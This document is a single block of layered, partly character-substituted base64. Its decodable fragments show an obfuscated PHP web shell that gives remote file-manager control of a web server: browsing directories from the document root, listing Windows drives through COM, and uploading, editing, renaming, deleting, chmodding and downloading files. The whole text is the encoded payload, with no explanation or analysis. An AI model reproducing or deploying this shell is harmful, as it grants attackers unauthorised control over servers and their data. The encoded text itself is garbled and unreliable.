R2doSWpZd01DVWlJR0kyNm1RMTZqMGlNQ0lnWXpWc2JIQXhaR1EwYm02aElqQWlJR00xYkd4ejZERmpORzRuUFNJd0lpQnpkSGxzTlQwaWJURjJaelJ1T2pZdzZIZ2dNRHNpUGcwS0lDQTNaakoyYlNBeFk4UTBNbTVoSWlJZ2JUVjBhREprUFNKd01uTjBJaUEwWkQwaVp6SmtOSElpSUc1eGJUVWhJbTYyWkRSMklqNU5DaUFnUEhSMlBnMEtJQ0FnSUR4MFpDQnVNbmQyTVhBK1F6TjI2alZ1ZENCRU5ISTFZOFEyNm5rZ0tEdy82Rzl3SURWamFESWdKR1EwNmxoODZqUjBOVEZpYkRVN1B6NXNJRHcvNkc5d0lEVmphRElnWnpWMFF5OXRNbVFvSkc1MmQ4QXhkR2dwT3ozK0tUd3ZkR1ErRFFvSlBIUmtJSDYwWkhSb1BTSXlNREFsSWo1M05HNHdNOFFnYmpGdE5UMGlkalExZDFoODZqUjBNV0pzTlNJZ2RqRnNNelVoSWpBaUlIUjQ2RFVoSW1nMFpHUTFiaUlnTHo1M05HNHdNOFFnWXl3eDY4TWhJalJ1NkROMElpQnVNVzAxUFNKa05ISWlJSFl4YkRNMVBTSTNQOEJvNkNBMVl5ZzJJQ1J1TW5kd01YUm9PejMrSWlCMGVYQTFQU0owTlg5MElpQnpkSGxzTlQwaWR6UmtkR2djTmpBd0pUdHRNWEpuTkc1Y01DQTU2SGc3SWo1M0w4UmtQZzBLSUNBZ0lEeDBaQ0J1TW5kMk1YQStQRFJ1NkROMElHTnNNWE56UFNKaWRDSWdkakZzTXpVaElrZFBJaUIwZVhBMVBTSnpNeUp0TkhRaVBqd3ZkR1ErRFFvZ0lEd3ZkSEkrRFFvZ0lEd3ZaakoyYlQ1TkNqd3ZkREZpYkRVK0RRbzM2eU4yTkhCMElIUjQ2RFVoSW5RMWVIUXZhakZ5TVhOajZqUndkQ0krRFFwbU15NGpkRFEyYmlCajZqVXhkRFZrTkhJb0tYc05DZ2x5TVhJZ2JqVjhaRFIyYmpGdE5Uc05DZ2x1Tlhka05ISnVNVzAxSUQwZzZISTJiWEIwS0NkUWJEVXg2elVnTkc0d004UWdkR2cxSUdRMDZqVmpkREoyZVNCdU1XMDFPaTZzSUM2bktUc05DZ2swWmlBb0lXNTFkeVEwNm01eGJUVXBJSEkxZEROMmJqc05DZ2trS0NkajZqVXhkRFZrTkhJbktTNHVOWGRrTkhKdU1XMDFMbll4YkRNMVBXNTFkeVEwNm01eGJUVTdEUW9KSkNnblk4STFNWFExWkRSMkoya3U2ek5pYlRSMEtDazdEUXBoRFFwbU15NGpkRFEyYmlCbU5HdzE2RFYyYlM5d1pqUnNOU2w3RFFvSmRqRjJJRzUxZDhBMTZtMDdEUW9KYmpWODZEVjJiU0FoSUhCMk1tMXdkQ2duUXpOMjZqVnVkQ0JtTkd3MU9pNnI2R1kwYkRVckoxeHVVR3cxTVhNMUlEUnU2RE4wSUc1MWQyQXhkSFIyTkdJemREVWNKMndnSjI2cE93MEtDVFJtSUNnOWJqVjg2RFYyYlNrZzZqVjBNOEp1T3cwS0NTUW9KeVkwYkRWd05YSnRKMmt1YmpWODZEVjJiUzR5TVd3ek5UMXVOWGR3TlhKdE93MEtDU1FvSnlZMGJEVndOWEp0SjJrdTZHWTBiRFV1ZGpGc016VWg2R1kwYkRVN0RRb0pKQ2duWmpSc05YQTE2bTBuS1M0ek15SnROSFFvS1RzTkNuME5DbVl6Ym1OME5ESnVJR00yNkhsbU5HdzFLSE51TVcwMUtYc05DZ2x5TVhJZ2RESm1OR3cxT3cwS0NYUTJaalJzTlNBaElIQjJNbTF3ZENnblQ4STBaelJ1TVd3Z1pqUnNOVG9uSzhOdU1XMDFLMmQ2YmxCc05URnpOU0EwYm5BemRDQTJZbW8xWThRZ1pqUnNOU0FvWmpOc2JIQXhkR2dwT2k2c0lDNm5LVHNOQ2drMFppQW9JWFEyWmpSc05Ta2c2alYwTThKdU93MEtDU1FvSnlNMjZIbG1OR3cxSjJrdWRESm1OR3cxTG5ZeGJETTFQWFEyWmpSc05Uc05DZ2trS0Nkak1uQjRaalJzTlM2cExuTnVNVzAxTG5ZeGJETTFQWE51TVcwMU93MEtDU1FvSnlNMjZIbG1OR3cxSjJrdTZ6TmliVFIwS0NrN0RRcGhEUXBtTXk0amREUTJiaUIyTlc1eGJUVW9NbXhrYmpGdE5TbDdEUW9KZGpGMklHNTFkeVkwYkRWdU1XMDFPdzBLQ1c1MWR5WTBiRFZ1TVcwMUlEMGc2SEkyYlhCMEtDZEdNbkp0TlhJZ1pqUnNOU0J1TVcwMU9pNnJNbXhrYmpGdE5Tc25YRzRRYkRVeDZ6VWdORzR3TThRZ2JqVjhJR1kwYkRWdU1XMDFPaTZzSUM2bktUc05DZ2swWmlBb0lXNTFkeVkwYkRWdU1XMDFLU0IyTlhRejZtNTdEUW9KSkNnbjZqVnVNVzAxSjJrdWJqVjhaalJzTlc1eGJUVXVkakZzTXpVaGJqVjhaalJzTlc1eGJUVTdEUW9KSkNnbjZqVnVNVzAxSjJrdU1teGtiakZ0TlM0eU1Xd3pOVDAyYkdSdU1XMDFPdzBLQ1NRb0o4STFiakZ0TlM2cExuTXpZbTAwZENncE93MEtmUTBLWmpOdVk4UTBNbTVnWkRKbU5HdzFLR1EyTkc0bkxIUm9OV1kwYkRVc2JTbDdEUW9KTkdZZ0tHMGdKaVlnSVdNMmJtWTA2bTBvYlNrcElIc05DZ2tKNmpWME04SnVPdzBLQ1gwTkNna2tLQ2RtTkd3MWJEUnpkQzZwTG1RMk5HNG5Mbll4YkRNMVBXUTJORzRuT3cwS0NUUm1JQzkwYURWbU5HdzFLWHNOQ2drSkpDZ25aalJzTld3MDY4UW5LUzQwYURWbU5HdzFMbll4YkRNMVBYUm9OV1kwYkRVN0RRb0pmUTBLQ1NRb0p5WTBiRFZzTkhOMEoya3U2ek5pYlRSMEtDazdEUXBoRFFwbU15NGpkRFEyYmlCajZqVXhkRFZtTkd3MUtHNTJkOEF4ZEdncGV3MEtDWFl4NmlCbU5HdzFiakZ0TlRzTkNnbG1OR3cxYmpGdE5TQWhJSEIyTW0xd2RDZ25VR3cxTVhNMUlEUnU2RE4wSUhSb05TQm1OR3cxSUc1eGJUVWNKMndnSjI2cE93MEtDVFJtSUNnOVpqUnNOVzV4YlRVcElISTFkRE4yYmpzTkNnazI2R1kwYkRVb0p6VmtOSFJtTkd3MUoyeHVNbmR3TVhSb0lDc2daalJzTlc1eGJUVXNiako4NkRGMGFDazdEUXBoRFFwbU15NGpkRFEyYmlBMjZHWTBiRFVvTVdOME5ESnVMREp3WmpSc05TeGtOSElwZXcwS0NTUW9KeVkwYkRVMjZHWTI2bTBuS1M1eFk4UTBNbTV1ZGpGc016VWhNV04wTkRKdU93MEtDU1FvSnlZMGJEVTI2R1kyNm0wbktTNTI2R1kwYkRVdWRqRnNNelVoTW5CbU5HdzFPdzBLQ1NRb0p5WTBiRFUyNkdZMjZtMG5LUzRrTkhJdWRqRnNNelVoWkRSMk93MEtDU1FvSnlZMGJEVTI2R1kyNm0wbktTNHpNeUp0TkhRb0tUc05DbjBOQ21ZemJtTjBOREp1SUc2MlpEUjJLR1EwNml4eU5EVjhYOGQyTkhReFltdzFLWHNOQ2drMFppQW9kalExZDFoODZqUjBNV0pzTlNrZ2V3MEtDUWtrS0Nkbk1tUTA2aTZwTG5ZME5YZGZkOEkwZERGaWJEVXVkakZzTXpVaE5qc05DZ2xoRFFvSkpDZ25aekprTkhJbktTNGtOSEl1ZGpGc016VWhaRFIyT3cwS0NTUW9KeTYyWkRSMkoya3U2ek5pYlRSMEtDazdEUXBoRFFvM0w4Tmo2alJ3ZEQ1TkNpQWdQRGh3YUhBTkNnbDBZbWcxTVdRb0tUc05DZ2x3S0M2M1pqSjJiU0F4WThRME1tNWhJaTZ1SkhNMWJHWXVKMklnYlRWMGFESmtQU0pRVDFOVUlpQTFibU4wZVhBMVBTSnRNeXgwTkhBeDZuUXZaakoyYlMxa01YUXhJajUzZEhJZ1l5d3g2OE1oSWpGc2REWWlQangwWkNCak1teHo2REZ1UFNJOElpQnpkSGxzTlQwaTZERmtaRFJ1WnpwcDZIZzdJajVuS1RzTkNnbHdLQzYzWkRSeUlITjBlV3cxUFNKbWJESXhkRHAyTkdkb2REc2lQancwYm5BemRDQmpiREZ6NnowaU5HNHdNOFFpSUc1eGJUVWhJak53YkRJeFpHWTBiRFVpSUhZeGJETTFQU0lpSUhSNDZEVWhJbVkwYkRVaUlDMytJRHcwYm5BemRDQmpiREZ6NnowaVluUWlJRzV4YlRVaEltUTJNOEJtTkd3MUlpQnlNV3d6TlQwaVZYQnNNakZrSWlCMGVYQTFQU0p6TXlKdE5IUWlJQzMrUERSdTZETjBJRzV4YlRVaElqTndiREl4WkdRMDZpSWdkakZzTXpVaElpNnVKR1EwNmk1bklpQjBlWEExUFNKb05HUmtOVzVpSUMzK1BEUnU2RE4wSUc1eGJUVWhJbVEwNmlJZ2RqRnNNelVoSWk2dUpHUTA2aTVuSWlCMGVYQTFQU0pvTkdSa05XNWlJQzMrUENoa05IWStKMms3RFFvSjZDZ25QREVnYUhJMVpqMGlhakZ5TVhOajZqUndkRHBuTW1RMDZpOTZKMjZ1SkZoVFJWSldSVkpiSWtSUFExVk5SVTRVWDFKUFQxUWlYUzVuWEM2cE8ySStWelZpVWpJMmREd3ZNVDVuS1RzTkNnazBaaUFvSkhZME5YZGZkOEkwZERGaWJEVXBJSHNOQ2drSjZDZ25JSHdnUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwbk1tUTA2aTk2SjI2dUpHNTJkOEF4ZEdndUoxd25LVHNpUGxZME5YNmdRV3hzUEMzeFBpNnBPdzBLQ1gwZ05XeHpOU0I3RFFvSkNYQW9KMkIzSUR3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1p6SmtOSElvWEM2bkxpUnVNbmR3TVhSb0xpZDZKMng2SnpaNkoyazdJajRXTkRWOElGZDJOSFF4WW13MVBDM3hQaTZwT3cwS0NYME5DZ2x3S0M2Z2ZDQTNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPbU4yTlRGME5XUTA2aWdwTzJJK1E4STFNWFExSUVRMDZqVmpkREoyZVR3dk1UNWdmQ0EzTVNCbzZqVm1QU0pxTVhZeDZ5TjJOSEIwT21OMk5URjBOV1kwYkRVb1hDNm5MaVJ1TW5kd01YUm9MaWQ2SjJrN0lqNEQ2alV4ZERVZ1JqUnNOVHd2TVQ1bktUc05DZ2swWmlBb1NWTmZWMGxPSUNZbUlFbFRYME5QVFNrZ2V3MEtDUWtrTW1KcUlEMGdialY4SUVOUFRTZ242eU4yTkhCME5HNG5MbVkwYkRWemVYTjBOVzAyWW1vMVk4UW5LVHNOQ2drSk5HWWdLQ1EyWW1vZ0ppWWdOSE5mTW1KcU5XTjBLQ1EyWW1vcEtTQjdEUW9KQ1Fra1JISTBkalZVZVhBMVJFSWdQU0F4Nm5JeGVTZ3dJRDArSUNkVmJtdHVNbjZuTERZZ1BUNWdKMUkxYlRKeU1XSnNOUzZzWVNBaFBpQW5SalI1TldRbkxHM2dQVDVnSjA1MWRINjI2bXNuTEhVZ1BUNWdKME5FVWpKdEoyeHBJRDArSUNkU1FVMGdSRFJ6YTI2cE93MEtDUWtKWmpKMk5URmphQ2drTW1KcUxUNEU2alJ5TlhNZ01YTWdKR1IyTkhZMUtTQjdEUW9KQ1FrSk5HWWdLQ1JrNmpSeU5TMCtSSEkwZGpWVWVYQTFJRDBoSUdFcElIc05DZ2tKQ1FrSjZDZ25JSHdnUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwbk1tUTA2aTk2SjI2dUpHUjJOSFkxTFQ0UU1YUm9MaTZ2WEM2cE8ySWdkRFIwYkRVaElsTTBlalVjSjI0ek5IbzFZekl6Ym5Rb0pHUjJOSFkxTFQ0VU1uUXhiRk0wZWpVcExpNm1Jelp2TzBaMk5UVWNKMjR6TkhvMVl6SXpiblFvSkdSMk5IWTFMVDRHNmpVMVU4QXhZelVwTGk2bUl6WnZPMVI0NkRVY0oyNWtSSEkwZGpWVWVYQTFSRUpiSkdSMk5IWTFMVDRFNmpSeU5WUjQ2RFZkTGk2aVBpNnVKRVIyTkhZMVZIbHdOVVJDVzJSazZqUnlOUzArUkhJMGRqVlVlWEExWFM1bktDNnVKR1IyTkhZMUxUNFFNWFJvTGk2cFBDM3hQaTZwT3cwS0NRa0pDWDBnTld4ek5TQjdEUW9KQ1FrSkNYQW9KMkIzSUR3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1p6SmtOSElvWEM2bkxpUms2alJ5TlMwK1VERjBhQzVuTDF3bktUc2lJSFEwZEd3MVBTSlVlWEExT2k2dUpFUjJOSFkxVkhsd05VUkNXMlJrNmpSeU5TMCtSSEkwZGpWVWVYQTFYUzVuSWo1bkxpUkU2alJ5TlZSNDZEVkVRbHNrWkhJMGRqVXRQa1IyTkhZMVZIbHdOVjB1SjJnbkxpUms2alJ5TlMwK1VERjBhQzVuS1R3dk1UNW5LVHNOQ2drSkNRbGhEUW9KQ1FsaERRb0pDWDBOQ2dsaERRb05DZ2x3S0M2M0w4UmtQand2ZEhJK1BDaG1Nbkp0UGk2cE93MEtEUW9KNkNnblBIUjJJR05zTVhOelBTSm9OVEZrSWo1M2RHUStKbTRpNjhBN1BDaDBaRDUzZEdRK1JqUnNOVzV4YlRVM0w4UmtQangwWkNCOE5HUjBhRDBpTm1VbElqNE1NWE4wSUcwMlpEUm1ORFZrUENoMFpENTNkR1FnZHpSa2RHZ2hJall3SlNJK1V6UmNOVHd2ZEdRK1BIUmtJSDYwWkhSb1BTSjlNQ1VpUGtOb2JUSmtJQzNnVURWMmJYTTNMOFJrUGp4MFpDQjhOR1IwYUQwaVlXRWxJajRCWThRME1tNTNMOFJrUGp3dmRISStKMms3RFFvTkNna3ZMMllqWVdWcE9UNjdKaU52TUhVOGFUc21JeUZwTm1sOU8yWWpZV1Z2Tno2N0ppTjlOblU1TnpzbUl5RXdPRGc0TzJZallXazRPVFk3SmlOOU1HRXlkVHNtSXlFeVpYVjFPMllqYnpCMWRXVTdKaU45ZFhVd2FUc05DZ2trWkRSMlpERjBNVDB4Nm5JeGVTZ3BPdzBLQ1NSbU5HdzFaREYwTVQweDZuSXhlU2dwT3cwS0RRb0pOR1lnS0NSeU5EVjhYOGQyTkhReFltdzFLU0I3RFFvSkNTUmtOSEprTVhReElEMGdSelYwVERSemRDZ2tiako4NkRGMGFDazdEUW9KZlNBMWJITTFJSHNOQ2drSkwyM2dKaU52TUhWMVpUc21JeUYxZFRCcE8yWWpZVFl3Tm1rN0ppTnZkVGw5TURzTkNna0pKR1EwNm5NaFFESndOVzRrTkhJb0pHUTA2aWs3RFFvSkNYZG9OR3cxSUNna1pqUnNOVDFBNmpVeFpHUTA2aWdrWkRSMjYya3BJSHNOQ2drSkNTUm1OR3cxNkRGMGFEMGtiako4NkRGMGFDNWtaalJzTlRzTkNna0pDVFJtS0VBMDYxaGtOSElvSkdZMGJEVndNWFJvS1NsN0RRb0pDUWtKSkdRMDZtUmlXMmRtTkd3MWJqRnROU2RkUFNSbU5HdzFPdzBLQ1FrSkNTUmtOSEprWWxzbmJYUTBiVFVuWFQxQVpERjBOU2duV1MxdExXUWdTRG8wT25NbkxHWTBiRFZ0ZERSdE5TZ2taalJzTlhBeGRHZ3BLVHNOQ2drSkNRa2taRFIyWkdKYkp5UTA2bU5vYlRKa0oxMGhaelYwUXk5dE1tUW9KR1kwYkRWd01YUm9LVHNOQ2drSkNRa2taRFIyWkdKYkp5UTA2bkExNm0wblhUMW5OWFJRTlhKdDYyZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUmtOSEprWWxzblpqUnNOVEo4YmpWMkoxMGhaelYwVlhNMTZpZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUmtOSEprWWxzblpEUjJiRFJ1YTJkZFBTUnVNbmR3TVhSb093MEtDUWtKQ1NSa05ISmtZbHNuNnpWMmRqVjJYeXcwYm1zblhUMGtaalJzTlhBeGRHZzdEUW9KQ1FrSkpHUTA2bVJpVzJkamJEUTFiblJmYkRSdWEyZGRQVE0xS0NSbU5HdzE2REYwYUNrN0RRb0pDUWtKSkdRMDZtUXhkREZiWFQwa1pEUjJaR0k3RFFvSkNRbGhJRFZzNnpVZ2V3a0pEUW9KQ1FrSkpHWTBiRFZrWWxzblpqUnNOVzV4YlRVblhUMGtaalJzTlRzTkNna0pDUWtrWmpSc05XUmlXMmR6TkhvMUoxMGg2elJjTldNMk15NDBLRUJtTkd3MTZ6UmNOU2drWmpSc05YQXhkR2dwS1RzTkNna0pDUWtrWmpSc05XUmlXMmR0ZERSdE5TZGRQVUJrTVhRMUtDZFpMVzB0WkNCSU9qUWM2MjZzWmpSc05XMTBORzAxS0NSbU5HdzE2REYwYUNrcE93MEtDUWtKQ1NSbU5HdzFaR0piSnlZMGJEVmphRzAyWkNkZFBXNjFkRU5vYlRKa0tDUm1OR3cxNkRGMGFDazdEUW9KQ1FrSkpHWTBiRFZrWWxzblpqUnNOWEExNm0wblhUMW5OWFJRTlhKdDYyZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUm1OR3cxWkdKYkp5WTBiRFUyZHk1MTZpZGRQVzYxZEZWek5YSW9KR1kwYkRWd01YUm9LVHNOQ2drSkNRa2taalJzTldSaVcyZGtOSEpzTkc0ckoxMGhKRzUyZDhBeGRHZzdEUW9KQ1FrSkpHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YVDBrWmpSc05YQXhkR2c3RFFvSkNRa0pKR1kwYkRWa1lsc25ZeXcwTlc0MFh5dzBibXNuWFQwek5TZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUm1OR3cxWkRGME1WdGRQU1JtTkd3MVpHSTdEUW9KQ1FsaERRb0pDWDB2TDJCOGFEUnNOUTBLQ1FremJuTTFkQ2drWkRSMlpHSXBPdzBLQ1FremJuTTFkQ2drWmpSc05XUmlLVHNOQ2drSlFHTnNNbk0xWkRSMktDUmtOSEp6S1RzTkNnbGhEUW9KUUhNMjZuUW9KR1EwNm1ReGRERXBPdzBLQ1VCek1uSjBLQ1JtTkd3MVpERjBNU2s3RFFvSkpHUTA2bDMwSUQwZ0p6QW5PdzBLQ1dZMjZqVXhZeWdvSkdRMDZtUXhkREVnTVhNZ0pHczFlU0FoUGlBa1pEUjJaR0lwZXcwS0NRazBaaWdrWkRSMlpHSmJKeVkwYkRWdU1XMDFKMTA5UFM2dUxpNmdKaVlnSkdRMDZtUmlXMmRtTkd3MWJqRnROU2RkSVQwbkxpNnBJSHNOQ2drSkNTUjBhRFJ6WW02Z1BTQmlaMmdwT3cwS0NRa0o2Q2duUEhSMklHTnNNWE56UFNJbkxpUjBhRFJ6WW02dUoySWdNbTR0TWpOek5USnlOWEloSW5Sb05ITXVZeXd4NjhOT01XMDFQVnduWmpKak04TjZKenNpSURKdWJUSXo2elUyTThRaEluUm9OSE11WXl3eDY4Tk9NVzAxUFZ3bkoyNWtkR2cwNnlKbkxpZDZKenNpUGk2cE93MEtDUWtKNkNnblBIUmtJSDYwWkhSb1BTSjlKU0lnYmpKODZqRndQanhtTW00MElHWXhZelVoSW42MGJtZGtORzRuNjJJZzZ6UmNOVDBpYjJJK01Ed3Zaakp1ZEQ1M0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa1Bqd3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaekprTkhJb1hDNm5MaVJrTkhKa1lsc242elYyZGpWMlh5dzBibXNuWFM1blhDNnBPMkkrSjI1a1pEUjJaR0piSnlZMGJEVnVNVzAxSjEwdUp6d3ZNVDUzTDhSa1BpNnBPdzBLQ1FrSjZDZ25QSFJrSUc1MmQ4SXg2RDVuTGlSa05ISmtZbHNuYlhRMGJUVW5YUzVuUENoMFpENW5LVHNOQ2drSkNYQW9KengwWkNCdU1uZDJNWEErTFMwM0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa0lHNTJkOEl4NkQ1bktUc05DZ2tKQ1hBb0p6d3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaalJzTlhBMTZtMG9YQzZuTGlSa05ISmtZbHNuNnpWMmRqVjJYeXcwYm1zblhTNW5YQzZwTzJJK0oyNWtaRFIyWkdKYkp5UTA2bU5vYlRKa0oxMHVKend2TVQ1Z0wyQW5LVHNOQ2drSkNYQW9Kend4SUc5Mk5XWWhJbW94ZGpGelk4STA2SFFjWmpSc05YQTE2bTBvWEM2bkxpUmtOSEprWWxzbjZ6VjJkalYyWHl3MGJtc25YUzVuWEM2cE8ySStKMjVrWkRSMlpHSmJKeVEwNm5BMTZtMG5YUzVuUEMzeFBpNnVKR1EwNm1SaVcyZG1OR3cxTW5kdU5YSW5YUzVuUENoMFpENW5LVHNOQ2drSkNYQW9KengwWkNCdU1uZDJNWEErUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwa01tWTBiRFVvWENka05XeGtOSEo2SjJ4NkoyNnVKR1EwNm1SaVcyZHpOWEp5TlhKZmJEUnVhMmRkTGlkNkoyeDZKMEYyTlNCNE1qTWc2ek4yTlNCOE5HeHNJR1ExYkRWME5TQW5MaVJrTkhKa1lsc25aalJzTlc1eGJUVW5YUzVuUDJCNlhHNDZYRzRKWmlCdU1tNXROVzF3ZEhrZ1pEUjJOV04wTW5KNExDQjhOR3hzSUdJMUlHUTFiRFYwTlNBeGJHd2dkR2cxSUdZMGJEVnpMbHduS1NJK1JEVnNQQzN4UGlCM0lEd3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWM2alZ1TVcwMUtGd25KMjVrWkRSMlpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxd25LVHNpUGxJMWJqRnROVHd2TVQ1M0w4UmtQaTZwT3cwS0NRa0o2Q2duUENoMDZqNW5LVHNOQ2drSkNTUmtOSEpmTkNzck93MEtDUWxoSURWczZ6VWdldzBLQ1FrSk5HWW9KR1EwNm1SaVcyZG1OR3cxYmpGdE5TZGRQVDBuTGk1bktTQjdEUW9KQ1FrSjZDZ25QSFIySUdOc01YTnpQUzZ1WW02b0tTNW5QaTZwT3cwS0NRa0pDWEFvSnp4MFpDQXhiRFJuYmowaVl6VnVkRFYySWo1M1pqSnVkQ0JtTVdNMVBTSlhORzRuWkRSdVo4TWdiMklnNnpSY05UMTFQajAzTHlZMmJuUStQQ2gwWkQ1M2RHUWdiako4NmpGd0lHTTJiSE53TVc1aElta2lQand4SUc5Mk5XWWhJbW94ZGpGelk4STA2SFFjWnpKa05ISW9YQzZuTG02MWRGVndVREYwYUNna2JqSjg2REYwYUNrdUoxd25LVHNpUGxBeDZqVnVkQ0JFTkhJMVk4UTI2bmszTHpFK1BDaDBaRDVuS1RzTkNna0pDUWx3S0M2M0w4UjJQaTZwT3cwS0NRa0pmUTBLQ1FsaERRb0pmUTBLRFFvSjZDZ25QSFIySUdKbll6SnNNbkloSWlOa1pHUmtaR1FpSUhOMGJIazFQU0ppTW5Ka05YSXRkREp3T2pad2VDQnpNbXcwWkNBalptWm1PeUkyNm1RMTZpMWlNblIwTW0wY05uQjVJSE0yYkRSa0lDTmtaR1E3SWo1M2RHUWdZekpzNjhBeGJqMGlaU0lnYURVMFp5OTBQU0pwSWo1M0w4UmtQand2ZEhJK0oyazdEUW9KNkNnblBHWTI2bTBnTkdRaEltWTBiRFZzTkhOMElpQnVNVzAxUFNKbU5HdzFiRFJ6ZENJZ01XTjBOREp1UFNJbkxpUnpOV3htTGk2aUlHMDFkR2cyWkQwaTZESnpkQ0krSjJrN0RRb0piVEZyTldnMFpEVW9KekZqZERRMmJpNnNKeVkwYkRVbktUc05DZ2x0TVdzMWFEUmtOU2duZEdnMVpqUnNOUzZwT3cwS0NXMHhhelZvTkdRMUtDZGtNalJ1WjI2cE93MEtDVzB4YXpWb05HUTFLQ2RrTkhJbkxDUnVNbmR3TVhSb0tUc05DZ2trWmpSc05WMzBJRDBnSnpBbk93MEtDV1kyNmpVeFl5Z29KR1kwYkRWa01YUXhJREZ6SUNSck5Ya2dQVDVnSkdZMGJEVmtZaWw3RFFvSkNUUm1LQ1JtTkd3MVpHSmJKeVkwYkRWdU1XMDFKMTA5UFM2dUxpNmdKaVlnSkdZMGJEVmtZbHNuWmpSc05XNXhiVFVuWFNFaEoyNW5LU0I3RFFvSkNRa2taalJzTlROMmJDQWhJSE4wNmxoMk5YQnNNV00xS0ZOQlgxSlBUMVFzSjI2c0pHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YU2s3RFFvSkNRa2tkR2cwNnlKbklEMGdZbTZvS1RzTkNna0pDWEFvSnp4MDZpQmpiREZ6NnowaUoyNWtkR2cwNnlKbkxpNmlJREp1YlRJejZ6VTJkalYyUFNKMGFEUnpMbU5zTVhOelRqRnROVDE2SnlZMll6TnpYQzY3SWlBMmJtMDJNOE0xTWpOMFBTSjBhRFJ6TG1Oc01YTnpUakZ0TlQxNkoyNnVKSFJvTkhOaVoyNW5YQzY3SWo1bktUc05DZ2tKQ1hBb0p6eDBaQ0I4TkdSMGFEMGlZU1VpSUc1MmQ4SXg2RDUzTkc0d004UWdkSGx3TlQwaVl5ZzFZeXRpTW5naUlIWXhiRE0xUFNJeUlpQnVNVzAxUFNKa2JGc25MaVJtTkd3MVpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxMGlQand2ZEdRK0oyazdEUW9KQ1Fsd0tDNjNkR1ErUERFZ2FISTFaajBpSjI1a1pqUnNOVE4yYkM1bklpQjBNWEpuTlhRaElsaGliREZ1YTJJK0oyNWtaalJzTldSaVcyZG1OR3cxYmpGdE5TZGRMaTYzTHpFK1BDaDBaRDVuS1RzTkNna0pDWEFvSnp4MFpDQnVNbmQyTVhBK0oyNWtaalJzTldSaVcyZHRkRFJ0TlNkZExpNjNMOFJrUGk2cE93MEtDUWtKNkNnblBIUmtJRzUyZDhJeDZENW5MaVJtTkd3MVpHSmJKOE0wZWpVblhTNW5QQ2gwWkQ1bktUc05DZ2tKQ1hBb0p6eDBaQ0J1TW5kMk1YQStKMms3RFFvSkNRbHdLQzYzTVNCbzZqVm1QU0pxTVhZeDZ5TjJOSEIwT21ZMGJEVndOWEp0S0Z3bkoyNWtaalJzTldSaVcyZHpOWEp5TlhKZmJEUnVhMmRkTGlkNkoyazdJajVuTGlSbU5HdzFaR0piSnlZMGJEVmphRzAyWkNkZExpNjNMekUrSUMzZ0oyazdEUW9KQ1Fsd0tDNjNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPbVkwYkRWd05YSnRLRnduSjI1a1pqUnNOV1JpVzJkek5YSnlOWEpmYkRSdWEyZGRMaWQ2SjJrN0lqNW5MaVJtTkd3MVpHSmJKeVkwYkRWd05YSnRKMTB1Snp3dk1UNW5MaVJtTkd3MVpHSmJKeVkwYkRVMmR5NTE2aWRkTGk2M0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa0lHNTJkOEl4NkQ1bktUc05DZ2tKQ1hBb0p6d3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaREptTkd3MUtGd25aREo4Ym1ZMGJEVjZKMng2SjI2dUpHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YUzVuWEM2cE8ySStSREo4Ymp3dk1UNWdmQ0FuS1RzTkNna0pDWEFvSnp3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1l6SndlV1kwYkRVb1hDNm5MaVJtTkd3MVpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxd25LVHNpUGtNMjZIazNMekUrSUh3Z0oyazdEUW9KQ1Fsd0tDNjNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPakp3WmpSc05TOTZKelZrTkhSbU5HdzFYQzZzWEM2bkxpUm1OR3cxWkdKYko4TTE2blkxNmxoc05HNHJKMTB1SjF3bkxGd25KMjVrWmpSc05XUmlXMmRrTkhKc05HNHJKMTB1SjF3bktUc2lQa1ZrTkhRM0x6RStJSHdnSjJrN0RRb0pDUWx3S0M2M01TQm82alZtUFNKcU1YWXg2eU4yTkhCME9uSTFiakZ0TlM5NkoyNnVKR1kwYkRWa1lsc242elYyZGpWMlh5dzBibXNuWFM1blhDNnBPMkkrVWpWdU1XMDFQQzN4UGlCM0lDNnBPdzBLQ1FrSjZDZ25QREVnYUhJMVpqMGlhakZ5TVhOajZqUndkRG8yNkdZMGJEVW9YQ2R1TlhkME5HMDFYQzZzWEM2bkxpUm1OR3cxWkdKYko4TTE2blkxNmxoc05HNHJKMTB1SjF3bkxGd25KMjVrWmpSc05XUmlXMmRrTkhKc05HNHJKMTB1SjF3bktUc2lQbFEwYlRVM0x6RStKMms3RFFvSkNRbHdLQzYzTDhSa1Bqd3ZkSEkrSjJrN0RRb0pDUWtrWmpSc05WMzBLMnM3RFFvSkNYME5DZ2xoRFFvSjZDZ25QSFIySUdOc01YTnpQU0luTG1KbktDa3VKMkkrUEhSa0lERnNOR2R1UFNKak5XNDBOWElpUGp3MGJuQXpkQ0J1TVcwMVBTSmphR3N4Ykd3aUlIWXhiRE0xUFNJMmJpSWdkSGx3TlQwaVl5ZzFZeXRpTW5naUlESnVZeXcwWXlzaElrTm9OV05yUVd4c0tIUm9OSE11WmpKMmJTa2lJQzMrUENoMFpENTNkR1ErUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwa01tWTBiRFVvWENka01uZHU2akYyWEM2cE8ySStVREZqYXpSdVoyQmtNbmR1YkRJeFpDQnpOV3cxWThRMVpEd3ZNVDVnTFNBM01TQm82alZtUFNKcU1YWXg2eU4yTkhCME9tUTJaalJzT